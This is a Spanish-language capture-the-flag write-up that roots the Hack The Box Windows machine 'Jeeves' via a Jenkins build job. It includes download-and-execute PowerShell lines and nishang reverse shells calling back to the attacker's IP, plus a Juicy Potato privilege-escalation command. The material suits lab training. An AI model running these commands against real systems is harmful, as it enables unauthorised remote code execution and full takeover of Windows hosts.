Jeeves es una máquina Windows de dificultad media ofrecida por la plataforma de Hack The Box. A lo largo de este post encontrarás un writeup mostrando la forma de como rootearla.
Información
Enumeración
NMAP
Como siempre, partiremos realizando un escaneo general de los 65535 puertos.
nmap -sS -p- --min-rate 4000 -v -n -Pn 10.10.10.63 -oG allPorts.gnmap
1
2
3
4
5
6
7
8
9
10
11
12
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-01 21:01 -03
Nmap scan report for 10.10.10.63
Host is up (0.15s latency).
Not shown: 65531 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
50000/tcp open ibm-db2
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 33.08 seconds
Posteriormente realizamos un escaner más exhaustivo para conocer servicios y versiones asociados a los puertos abiertos encontrados.
nmap -sC -sV -p80,135,445,50000 -n -v 10.10.10.63 -oN ports.nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-01 21:06 -03
Nmap scan report for 10.10.10.63
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 5h13m41s, deviation: 0s, median: 5h13m40s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-11-02T05:20:15
|_ start_date: 2021-11-02T05:13:21
Nmap done: 1 IP address (1 host up) scanned in 48.61 seconds
Enumeración web
Partimos por verificar lo que nos encontramos en los puertos 80 y 5000.
whatweb http://10.10.10.63
whatweb http://10.10.10.63:5000
http://10.10.10.63
En el home nos encontramos con esta página que nos invita a utilizar el buscador Ask Jeeves.
Sin embargo, al darle al botón Search nos redirige a https://10.10.10.63/error.html y nos arroja un error.
Al darle un vistazo al código fuente, nos enteramos que es una imagen estática que se consulta.
Como no se ve nada más que pueda ser de interés, lo siguiente será realizar fuzzing sobre esta ruta. Para ello, en esta ocasión utilizaré Feroxbuster el cual es un fuzzer recursivo, buena alternativa de gobuster/wfuzz.
./feroxbuster --url http://10.10.10.63 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 300
Y en este caso no encontramos nada adicional, por lo tanto, es tiempo de avanzar. Realizaremos el mismo proceso sobre el web server del puerto 50000
http://10.10.10.63:50000
Bajo esta ruta nos encontramos un home con una página de error. Además de un mensaje que nos indica la versión de jetty y un enlace que nos redirige a http://www.eclipse.org/jetty/
Nuevamente no hay mucho más que ver, por lo tanto es hora del fuzzing.
./feroxbuster --url http://10.10.10.63:50000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 300
Vemos que esta vez si tuvimos suerte y Feroxbuster nos proporciona la ruta http://10.10.10.63:50000/askjeeves como válida. Consultando el recurso visualizamos lo siguiente.
Un Jenkins de versión 2.87. Como primer paso buscamos vulnerabilidades asociadas en exploitdb sin tener éxito.
Ganando acceso
Siguiendo adelante, intentaremos crear un proyecto nuevo para verificar si tenemos algún permiso de ejecución de tareas.
En la sección Build especificamos que durante la ejecución de la tarea, queremos lanzar comandos de Windows.
En primera instancia ejecutaremos un ping hacia nuestra IP para verificar si es posible ejecutar comandos.
Una vez que escribimos la instrucción, guardamos el proyecto y le damos a Build Now.
Posteriormente veremos una entrada en el Build history, clikamos ahí y entraremos al detalle de la ejecución de nuestra tarea.
Vamos a Console Output y validamos que efectivamente el ping se emitió sin problemas.
Ya esta vez intentaremos obtener nuestra reverse shell utilizando netcat compartido a través de un recurso en red SMB. Primero disponibilizamos el binario utilizando impacket.
impacket-smbserver SharedFolder . -smb2support
Paralelamente iniciamos un canal de escucha para el puerto 443.
Modificamos la tarea para incluir la instrucción de generar una reverse shell hacia nuestra máquina por el puerto 443.
Le damos a Build Now y veremos que obtendremos nuestra conexión.
Tenemos acceso con el usuario kohsuke
Escalando privilegios
Preparativos
Antes de realizar la escalada de privilegios, realizaremos el mismo proceso anterior para obtener una reverse shell, pero en este caso, usaremos nishang para obtener una consola PowerShell. Estos son los pasos:
- Clonar el repositorio
git clone https://github.com/samratashok/nishang
- Ir a nishang/shells, editar archivo
Invoke-PowerShellTcp.ps1
y añadirInvoke-PowerShellTcp -Reverse -IPAddress 10.10.14.19 -Port 8001
al final del script. - Mover el archivo a nuestro directorio de trabajo y renombrarlo como IPS.ps1.
- Montar un servidor web para compartir dicho archivo
python3 -m http.server 80
. - Ponernos a la escucha de tráfico a través del puerto 8001.
- Ejecutar nueva tarea de Jenkins para obtener consola Powershell.
powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6/IPS.ps1')
Reconocimiento
Ya en este punto, lo primero a realizar es un reconocimiento del sistema, para saber con que S.O. estamos tratando, que usuario somos y que permisos tenemos asignados.
systeminfo
whoami /priv
Validamos que estamos en una máquina Windows 10 Pro de 64 bits y ésta mantiene el permiso SeImpersonatePrivilege
habilitado. Sabiendo esto, podríamos intentar utilizar Juicy Potato para explotarlo.
Explotación
Primero descargamos el binario de Juicy Potato desde Releases y lo llevamos a la máquina víctima utilizando impacket.
El binario se ha exportado a la ruta C:\Users\Public
con el nombre de JP.exe
.
Reverse shell con powershell
.\JP.exe -t * -l 1337 -p cmd.exe -a "/c powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.12/IPS.ps1')"
Al igual que antes, compartiremos el archivo IPS.ps1
con un servidor web en python3, previamente configurado para entablar una conexión hacia nuestra IP por el puerto 8002.
Al obtener la consola, ya seríamos NT AUTHORITY\SYSTEM. Ahora solo restaría encontrar las flags, leer su contenido e ingresarlas en la plataforma de HTB.
user.txt
Buscar archivos con powershell
Get-ChildItem -Path C:\ -Recurse -Include user.txt
Variación para obtener la ruta completa del archivo.
Get-ChildItem -Path C:\ -Recurse -Include user.txt | select FullName
Leyendo la flag user.txt
type C:\Users\kohsuke\Desktop\user.txt
root.txt
Para esta flag la cosa se complica un poco, ya que no la encontraremos por métodos convencionales. Al buscar por todos los archivos con extensión .txt
dentro del home del usuario Administrator encontraremos un archivo interesante.
Al leer hm.txt
veremos lo siguiente.
The flag is elsewhere. Look deeper.
Después de muchos intentos y buscar información con el confiable Google llegamos a un artículo que explica como esconder información en un archivo utilizando ADS - Alternate Data Streams. También explica como extraer información de estos streams.
- Utilizando
Get-Item
buscaremos todos los streams de manera recursiva en la rutaC:\Users\Administrator\Desktop
.Get-Item C:\Users\Administrator\Desktop\*.txt -stream *
- Obtendremos el contenido con
Get-Content
especificando el nombre del stream que queremos leer.Get-Content hm.txt -stream root.txt
Como se ve en la imagen, el archivo hm.txt
contenía un stream llamado root.txt
con el hash de la flag en su interior.